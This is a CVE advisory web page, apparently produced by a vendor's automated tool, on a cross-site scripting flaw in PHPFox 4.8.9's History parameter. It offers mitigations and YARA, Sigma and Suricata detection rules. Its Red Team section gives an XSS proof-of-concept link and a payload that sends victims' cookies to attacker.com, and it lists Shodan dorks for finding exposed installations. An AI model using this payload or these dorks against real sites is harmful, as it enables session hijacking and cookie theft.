☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Phpfox logo [ WEBSITE ] [ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2022-34560

CVE-2022-34560 Cross-Site Scripting in Phpfox
📅 PUBLISHED: 2024-04-22 00:00 UTC 🔄 UPDATED: 2026-08-12 09:03 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.14%
👁️
0.14% probability
3.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: United States License: Commercial
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2022-34560 is a Cross-Site Scripting (XSS) vulnerability identified in PHPFox version 4.8.9. The flaw resides in the History parameter, allowing an attacker to inject arbitrary web scripts or HTML. This is a client-side attack vector that requires user interaction (e.g., clicking a crafted link). The vulnerability is publicly known with a proof-of-concept (PoC) available, but no official patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains for unpatched instances.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

PHPFox is a proprietary PHP-based social network platform. No open-source package (NPM, PyPI, Go, Ruby) is directly associated with this CVE. The risk is limited to self-hosted PHPFox installations.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 6.1 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: Required (UI:R)
  • Scope: Changed (S:C) – The vulnerability can impact resources beyond the vulnerable component.
  • Confidentiality Impact: Low (C:L)
  • Integrity Impact: Low (I:L)
  • Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires user interaction, but the impact includes session hijacking, defacement, or data theft.

Deep Dive & Mechanics

The vulnerability is a classic Stored/Reflected XSS in the History parameter of PHPFox v4.8.9. The application fails to sanitize user-supplied input before storing or reflecting it in the response. An attacker can craft a URL or form submission containing malicious JavaScript in the History parameter. When a victim views the affected page, the script executes in their browser context.

Root Cause: Lack of output encoding and input validation for the History parameter. The application likely uses $_GET['History'] or $_POST['History'] without proper escaping.

Attack Flow:

  1. Attacker crafts a malicious link: http://target.com/index.php?History=<script>alert('XSS')</script>
  2. Victim clicks the link (or visits a page with the injected payload).
  3. The browser renders the injected script, executing arbitrary JavaScript.
  4. The script can steal cookies, redirect to phishing sites, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (PHPFox v4.8.9):

// Vulnerable: Direct output without sanitization
echo $_GET['History'];

Patched Code (Hypothetical):

// Patched: Use htmlspecialchars to escape output
echo htmlspecialchars($_GET['History'], ENT_QUOTES, 'UTF-8');

No official patch is available. Users must apply manual sanitization or upgrade to a newer version if released.

Exploitation & Lab Setup

Red Team (Offensive)

Proof-of-Concept (PoC):

<!-- Reflected XSS via History parameter -->
<a href="http://target.com/index.php?History=<script>alert(document.cookie)</script>">Click me</a>

Advanced Payload (Session Hijacking):

// Steal cookies and send to attacker server
var img = new Image();
img.src = "http://attacker.com/steal.php?cookie=" + document.cookie;

Lab Setup:

  1. Install PHPFox v4.8.9 on a local server (XAMPP/LAMP).
  2. Navigate to the vulnerable page.
  3. Inject the payload via URL or form.
  4. Observe script execution.

Blue Team (Defensive)

Detection:

  • Monitor web logs for suspicious History parameter values containing <script>, onerror, or javascript:.
  • Use WAF rules to block XSS patterns.

Mitigation:

  • Apply input validation: Allow only alphanumeric characters in the History parameter.
  • Use Content Security Policy (CSP) headers to restrict script execution.
  • Sanitize output with htmlspecialchars() or equivalent.

Indicators of Compromise (IOCs)

  • Network:
    • HTTP requests with History parameter containing <script> tags.
    • Outbound connections to unknown IPs on port 80/443 (potential data exfiltration).
  • Host:
    • Unexpected JavaScript execution in browser console.
    • Modified DOM elements (e.g., injected iframes or scripts).
  • Logs:
    • Web server logs showing GET /index.php?History=<script>...</script>.

Detection Engineering

YARA Rule

rule CVE_2022_34560_XSS_History {
    meta:
        description = "Detects XSS payloads targeting PHPFox History parameter"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2022-34560"
    strings:
        $xss_payload = /History=.*<script[^>]*>.*<\/script>/i
        $xss_event = /History=.*on\w+\s*=/i
    condition:
        any of them
}

Sigma Rule

title: XSS Attempt via PHPFox History Parameter
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects XSS payloads in the History parameter of PHPFox
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'History='
        cs-uri-query|re: '(<script|onerror|onload|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in History (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2022-34560 XSS in PHPFox History Parameter"; flow:to_server,established; content:"History="; nocase; pcre:"/History=.*<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Sanitize the History parameter using htmlspecialchars() or equivalent.
  2. Short-term: Implement a Web Application Firewall (WAF) rule to block XSS patterns.
  3. Long-term: Upgrade to a patched version of PHPFox if available, or migrate to a supported platform.
  4. Compensating Controls: Enforce Content Security Policy (CSP) headers to restrict inline scripts.

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. All data is for authorized security testing and defense purposes only.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"PHPFox"
http.html:"powered by phpfox"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2022-34560/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.